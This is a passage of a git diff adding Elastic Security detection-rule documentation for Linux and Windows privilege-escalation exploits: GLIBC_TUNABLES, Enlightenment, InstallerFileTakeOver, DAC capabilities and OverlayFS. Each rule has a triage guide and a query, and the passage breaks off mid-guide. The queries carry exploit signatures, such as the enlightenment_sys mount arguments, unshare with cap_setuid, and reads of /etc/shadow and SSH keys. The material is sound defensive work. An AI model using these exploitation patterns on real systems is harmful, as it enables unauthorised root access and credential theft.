suspicious activity by monitoring processes with specific environment variables, flagging repeated execution attempts within a short timeframe, indicating potential exploitation efforts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id and process.parent.entity_id associated with the suspicious activity. +- Examine the process.executable path to determine if it is a legitimate application or potentially malicious. +- Check the process.env_vars for any unusual or unexpected GLIBC_TUNABLES values that could indicate manipulation attempts. +- Investigate the host's recent process execution history to identify any patterns or anomalies, focusing on processes with the GLIBC_TUNABLES environment variable set. +- Correlate the alert with other security events or logs from the same host to identify any additional indicators of compromise or related suspicious activities. +- Assess the system for any signs of privilege escalation or unauthorized access, such as new user accounts or changes in user privileges. + + +*False positive analysis* + + +- Frequent legitimate use of GLIBC_TUNABLES environment variable by system administrators or automated scripts can trigger false positives. Users should identify and whitelist these known benign processes to prevent unnecessary alerts. +- Some Linux distributions or specific applications may use GLIBC_TUNABLES for performance tuning or compatibility reasons. Review and document these cases, and create exceptions for these processes to avoid false alarms. +- Development environments where GLIBC_TUNABLES is used for testing purposes might also cause false positives. Implement a policy to exclude these environments from monitoring or adjust the rule to account for these specific use cases. +- Scheduled tasks or cron jobs that utilize GLIBC_TUNABLES for legitimate purposes can be mistaken for exploitation attempts. Ensure these tasks are recognized and excluded from the rule's scope to reduce noise. +- If a particular user or group frequently triggers the rule due to their role or activities, consider creating a user-based exception to minimize false positives while maintaining security oversight. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious processes identified with the GLIBC_TUNABLES environment variable to halt ongoing exploitation attempts. +- Apply the latest security patches and updates to the GNU C Library on all affected systems to remediate the buffer overflow vulnerability. +- Conduct a thorough review of system logs and process execution history to identify any unauthorized changes or additional indicators of compromise. +- Restore affected systems from a known good backup taken before the exploitation attempt, ensuring that the backup is free from any malicious modifications. +- Implement enhanced monitoring and alerting for unusual process executions and environment variable manipulations to detect similar threats in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "GLIBC_TUNABLES". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id, process.executable with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.env_vars : "*GLIBC_TUNABLES=glibc.*=glibc.*=*"] with runs=5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-enlightenment.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-enlightenment.asciidoc new file mode 100644 index 0000000000..e1a6e6f6db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-enlightenment.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-enlightenment]] +=== Potential Privilege Escalation via Enlightenment + +Identifies an attempt to exploit a local privilege escalation CVE-2022-37706 via a flaw in Linux window manager package Enlightenment. enlightenment_sys in Enlightenment before 0.25.4 allows local users to gain privileges because it is setuid root, and the system library function mishandles pathnames that begin with a /dev/.. substring. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://ubuntu.com/security/CVE-2022-37706 +* https://www.exploit-db.com/exploits/51180 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Enlightenment* + + +Enlightenment, a Linux window manager, can be exploited for privilege escalation due to a flaw in its setuid root configuration. Attackers may exploit this by manipulating pathnames, gaining unauthorized root access. The detection rule identifies suspicious execution of 'enlightenment_sys' with specific arguments and subsequent UID changes to root, flagging potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the process "enlightenment_sys" with the specified arguments ("/bin/mount/", "-o", "noexec", "nosuid", "nodev", "uid=*") on a Linux host. +- Check the process execution timeline to verify if the suspicious "enlightenment_sys" execution was followed by a UID change to root (user.id == "0") within a 5-second window. +- Investigate the host.id and process.parent.entity_id to identify the parent process and determine if it was initiated by a legitimate user or service. +- Examine the system logs around the time of the alert to identify any other unusual activities or related processes that might indicate a broader attack or exploitation attempt. +- Assess the affected system for any unauthorized changes or signs of compromise, focusing on privilege escalation indicators and potential persistence mechanisms. +- Review user access logs and permissions to determine if the user associated with the process had legitimate reasons to execute "enlightenment_sys" with elevated privileges. +- Consider isolating the affected system to prevent further exploitation and begin remediation steps, such as applying patches or configuration changes to mitigate the vulnerability. + + +*False positive analysis* + + +- Legitimate administrative tasks using enlightenment_sys may trigger the rule. Review the context of the execution, such as the user and the specific arguments used, to determine if the activity is authorized. +- Automated scripts or system maintenance processes that involve enlightenment_sys with similar arguments might be flagged. Identify these scripts and consider excluding them by specifying their process hashes or paths in the detection rule. +- System updates or package installations that temporarily change UID to root could be misinterpreted as exploitation attempts. Monitor these activities and whitelist known update processes to prevent false alerts. +- Custom user applications that interact with enlightenment_sys for legitimate purposes may cause false positives. Evaluate these applications and, if deemed safe, add them to an exception list based on their unique identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes related to 'enlightenment_sys' that are running with elevated privileges to stop ongoing exploitation. +- Conduct a thorough review of system logs to identify any unauthorized changes or access patterns, focusing on UID changes to root. +- Revoke any unauthorized access or privileges granted during the exploitation, ensuring that only legitimate users have root access. +- Apply the latest security patches and updates to the Enlightenment package, specifically upgrading to version 0.25.4 or later to mitigate the vulnerability. +- Implement file integrity monitoring to detect unauthorized changes to critical system files and configurations in the future. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "enlightenment_sys" and process.args in ("/bin/mount/", "-o","noexec","nosuid","nodev","uid=*") ] + [process where host.os.type == "linux" and event.action == "uid_change" and event.type == "change" and user.id == "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-installerfiletakeover.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-installerfiletakeover.asciidoc new file mode 100644 index 0000000000..f7043a8472 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-installerfiletakeover.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-installerfiletakeover]] +=== Potential Privilege Escalation via InstallerFileTakeOver + +Identifies a potential exploitation of InstallerTakeOver (CVE-2021-41379) default PoC execution. Successful exploitation allows an unprivileged user to escalate privileges to SYSTEM. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/klinix5/InstallerFileTakeOver + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Use Case: Vulnerability +* Data Source: Elastic Defend + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Privilege Escalation via InstallerFileTakeOver* + + +InstallerFileTakeOver is a weaponized escalation of privilege proof of concept (EoP PoC) to the CVE-2021-41379 vulnerability. Upon successful exploitation, an unprivileged user will escalate privileges to SYSTEM/NT AUTHORITY. + +This rule detects the default execution of the PoC, which overwrites the `elevation_service.exe` DACL and copies itself to the location to escalate privileges. An attacker is able to still take over any file that is not in use (locked), which is outside the scope of this rule. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Look for additional processes spawned by the process, command lines, and network communications. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- Verify whether a digital signature exists in the executable, and if it is valid. + + +*Related rules* + + +- Suspicious DLL Loaded for Persistence or Privilege Escalation - bfeaf89b-a2a7-48a3-817f-e41829dc61ee + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.Ext.token.integrity_level_name : "System" and + ( + (process.name : "elevation_service.exe" and + not process.pe.original_file_name == "elevation_service.exe") or + + (process.name : "elevation_service.exe" and + not process.code_signature.trusted == true) or + + (process.parent.name : "elevation_service.exe" and + process.name : ("rundll32.exe", "cmd.exe", "powershell.exe")) + ) and + not + ( + process.name : "elevation_service.exe" and process.code_signature.trusted == true and + process.pe.original_file_name == null + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-linux-dac-permissions.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-linux-dac-permissions.asciidoc new file mode 100644 index 0000000000..9ccedcea93 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-linux-dac-permissions.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-linux-dac-permissions]] +=== Potential Privilege Escalation via Linux DAC permissions + +Identifies potential privilege escalation exploitation of DAC (Discretionary access control) file permissions. The rule identifies exploitation of DAC checks on sensitive file paths via suspicious processes whose capabilities include CAP_DAC_OVERRIDE (where a process can bypass all read write and execution checks) or CAP_DAC_READ_SEARCH (where a process can read any file or perform any executable permission on the directories). + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Linux DAC permissions* + + +Linux Discretionary Access Control (DAC) allows file owners to set permissions, potentially leading to privilege escalation if misconfigured. Adversaries exploit DAC by using processes with capabilities like CAP_DAC_OVERRIDE to bypass permission checks. The detection rule identifies suspicious processes accessing sensitive files, excluding benign activities, to flag potential misuse of DAC permissions. + + +*Possible investigation steps* + + +- Review the process command line to identify the specific command executed and determine if it involves sensitive files like sudoers, passwd, shadow, or directories under /root/. +- Check the user ID associated with the process to verify if it is a non-root user attempting to access or modify sensitive files. +- Investigate the process name and executable path to ensure it is not part of the excluded benign processes or paths, such as tar, getent, or /usr/lib/*/lxc/rootfs/*. +- Analyze the parent process name to determine if it is a known benign parent like dpkg or gnome-shell, which might indicate a legitimate operation. +- Examine the process thread capabilities, specifically CAP_DAC_OVERRIDE or CAP_DAC_READ_SEARCH, to understand the level of access the process has and assess if it aligns with expected behavior for the user or application. +- Correlate the event with other logs or alerts to identify any patterns or sequences of activities that might indicate a broader attack or misconfiguration issue. + + +*False positive analysis* + + +- Processes like "tar", "getent", "su", and others listed in the rule are known to perform legitimate operations on sensitive files. Exclude these processes from triggering alerts by adding them to the exception list in the detection rule. +- System management tools such as "dpkg" and "podman" may access sensitive files during routine operations. Consider excluding these tools if they are part of regular system maintenance activities. +- Processes running under user ID "0" (root) are often legitimate and necessary for system operations. Ensure that these are excluded from alerts to avoid unnecessary noise. +- Executables located in paths like /usr/lib/*/lxc/rootfs/* are typically part of containerized environments and may not pose a threat. Exclude these paths if they are part of your standard infrastructure. +- Parent processes such as "java" or those with names ending in "postinst" may be involved in legitimate software installations or updates. Review and exclude these if they are part of expected system behavior. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, especially those with CAP_DAC_OVERRIDE or CAP_DAC_READ_SEARCH capabilities accessing sensitive files. +- Conduct a thorough review of the affected system's user accounts and permissions to identify and revoke any unauthorized privilege escalations. +- Restore any modified or compromised sensitive files, such as /etc/passwd or /etc/shadow, from a known good backup. +- Implement additional monitoring on the affected system to detect any further attempts at privilege escalation or unauthorized access. +- Escalate the incident to the security operations team for a comprehensive investigation to determine the root cause and potential impact. +- Apply security patches and updates to the affected system to mitigate any known vulnerabilities that could be exploited for privilege escalation. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and +(process.thread.capabilities.permitted:CAP_DAC_* or process.thread.capabilities.effective: CAP_DAC_*) and +process.command_line:(*/etc/sudoers* or */etc/passwd* or */etc/shadow* or */root/.ssh/* or /home/*/.ssh/*) and not ( + user.id : "0" or + process.name : ( + "tar" or "getent" or "su" or "stat" or "dirname" or "chown" or "sudo" or "dpkg-split" or "dpkg-deb" or "dpkg" or + "podman" or "awk" or "passwd" or "dpkg-maintscript-helper" or "mutt_dotlock" or "nscd" or "logger" or "gpasswd" + ) or + process.executable : /usr/lib/*/lxc/rootfs/* or + process.parent.name : ( + "dpkg" or "java" or *postinst or "dpkg-preconfigure" or "gnome-shell" + ) or + process.parent.executable:( + "/opt/microsoft/mdatp/sbin/wdavdaemon" or "/usr/bin/podman" or "/bin/podman" or + /var/lib/awx/.local/share/containers/storage/overlay/* or ./merged/var/lib/awx/.local/share/containers/storage/overlay/* or + "/var/ossec/bin/wazuh-modulesd" or /home/*/.local/share/containers/storage/overlay/* or /snap/* or /dev/fd/* or /tmp/newroot/* or + "/usr/bin/google_guest_agent" or /var/lib/docker/overlay2/* or /var/lib/containers/* or "/usr/bin/gcc" or "/usr/bin/make" or "/usr/bin/ninja" + ) or + process.parent.command_line:(*ansible* or "runc init") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-overlayfs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-overlayfs.asciidoc new file mode 100644 index 0000000000..19326e2bf6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privilege-escalation-via-overlayfs.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-potential-privilege-escalation-via-overlayfs]] +=== Potential Privilege Escalation via OverlayFS + +Identifies an attempt to exploit a local privilege escalation (CVE-2023-2640 and CVE-2023-32629) via a flaw in Ubuntu's modifications to OverlayFS. These flaws allow the creation of specialized executables, which, upon execution, grant the ability to escalate privileges to root on the affected machine. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability +* https://twitter.com/liadeliyahu/status/1684841527959273472 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via OverlayFS* + + +OverlayFS is a union filesystem used in Linux environments to overlay one filesystem on top of another, allowing for efficient file management and updates. Adversaries exploit vulnerabilities in Ubuntu's OverlayFS modifications to execute crafted executables that escalate privileges to root. The detection rule identifies suspicious sequences involving the 'unshare' command with specific arguments and subsequent UID changes to root, indicating potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the 'unshare' command with the specific arguments '-r', '-rm', 'm', and '*cap_setuid*' as indicated in the query. This will help verify if the command execution aligns with the known exploitation pattern. +- Check the process tree and parent process information using the process.parent.entity_id to understand the context in which the 'unshare' command was executed. This can provide insights into whether the command was part of a legitimate operation or a potential attack. +- Investigate the user account associated with the process execution (user.id != "0") to determine if the account has a history of suspicious activity or if it has been compromised. +- Examine the host.id and host.os.type fields to identify the specific Linux host involved and assess its vulnerability status regarding CVE-2023-2640 and CVE-2023-32629. This can help determine if the host is susceptible to the exploitation attempt. +- Analyze any subsequent UID changes to root (user.id == "0") to confirm if the privilege escalation was successful and identify any unauthorized access or actions taken by the elevated process. +- Review system logs and other security alerts around the time of the event to identify any additional indicators of compromise or related suspicious activities that might corroborate the exploitation attempt. + + +*False positive analysis* + + +- Legitimate administrative tasks using the 'unshare' command with similar arguments may trigger the rule. Review the context of the command execution and verify if it aligns with routine system maintenance or configuration changes. +- Automated scripts or system management tools that utilize 'unshare' for containerization or namespace isolation might cause false positives. Identify these scripts and consider excluding their specific process names or paths from the rule. +- Development environments where developers frequently test applications with elevated privileges could inadvertently match the rule criteria. Implement user-based exceptions for known developer accounts to reduce noise. +- Security tools or monitoring solutions that simulate privilege escalation scenarios for testing purposes may be flagged. Whitelist these tools by their process hash or signature to prevent unnecessary alerts. +- Custom applications that require temporary privilege elevation for legitimate operations should be reviewed. If deemed safe, add these applications to an exception list based on their unique identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, particularly those involving the 'unshare' command with the specified arguments. +- Conduct a thorough review of user accounts and privileges on the affected system to ensure no unauthorized changes have been made, especially focusing 